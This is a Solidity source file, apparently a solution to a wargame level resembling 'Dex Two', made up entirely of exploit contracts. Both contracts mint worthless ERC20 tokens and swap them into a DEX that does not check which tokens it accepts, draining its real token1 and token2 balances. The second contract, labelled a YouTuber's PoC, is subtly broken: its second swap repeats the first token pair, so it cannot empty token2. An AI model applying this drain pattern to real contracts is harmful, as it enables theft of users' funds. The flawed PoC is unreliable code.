1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.20;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IDexTwo { function swap(address from, address to, uint256 amount) external; function balanceOf(address token, address account) external view returns (uint256); function token1() external view returns (address); function token2() external view returns (address); }
contract MyToken is ERC20 { constructor() ERC20("MyToken", "MTK") {}
function mint(address to, uint256 amount) external { super._mint(to, amount); } }
contract Hack { // 我自己写的,比较麻烦 IDexTwo private immutable dex; address private immutable token1; address private immutable token2;
constructor(address _dex, address _token1, address _token2) { dex = IDexTwo(_dex); token1 = _token1; token2 = _token2; }
function pwn() public { MyToken fakeToken1 = new MyToken(); fakeToken1.mint(address(this), 2); MyToken fakeToken2 = new MyToken(); fakeToken2.mint(address(this), 2);
fakeToken1.transfer(address(dex), 1); fakeToken1.approve(address(dex), type(uint256).max); dex.swap(address(fakeToken1), token1, 1); fakeToken2.transfer(address(dex), 1); fakeToken2.approve(address(dex), type(uint256).max); dex.swap(address(fakeToken2), token2, 1); require(dex.balanceOf(token1, address(dex)) == 0, "hack failed!"); require(dex.balanceOf(token2, address(dex)) == 0, "hack failed!"); } }
contract HackExample { // Youtube 大佬的 PoC constructor(IDexTwo dex) { ERC20 token1 = ERC20(dex.token1()); ERC20 token2 = ERC20(dex.token2());
MyToken myToken1 = new MyToken(); MyToken myToken2 = new MyToken();
myToken1.mint(address(this), 2); myToken2.mint(address(this), 2);
myToken1.transfer(address(dex), 1); myToken2.transfer(address(dex), 1);
myToken1.approve(address(dex), 1); myToken2.approve(address(dex), 1);
dex.swap(address(myToken1), address(token1), 1); dex.swap(address(myToken1), address(token1), 1);
require(token1.balanceOf(address(dex)) == 0, "dex token balance 1 != 0"); require(token2.balanceOf(address(dex)) == 0, "dex token balance 2 != 0"); } }
|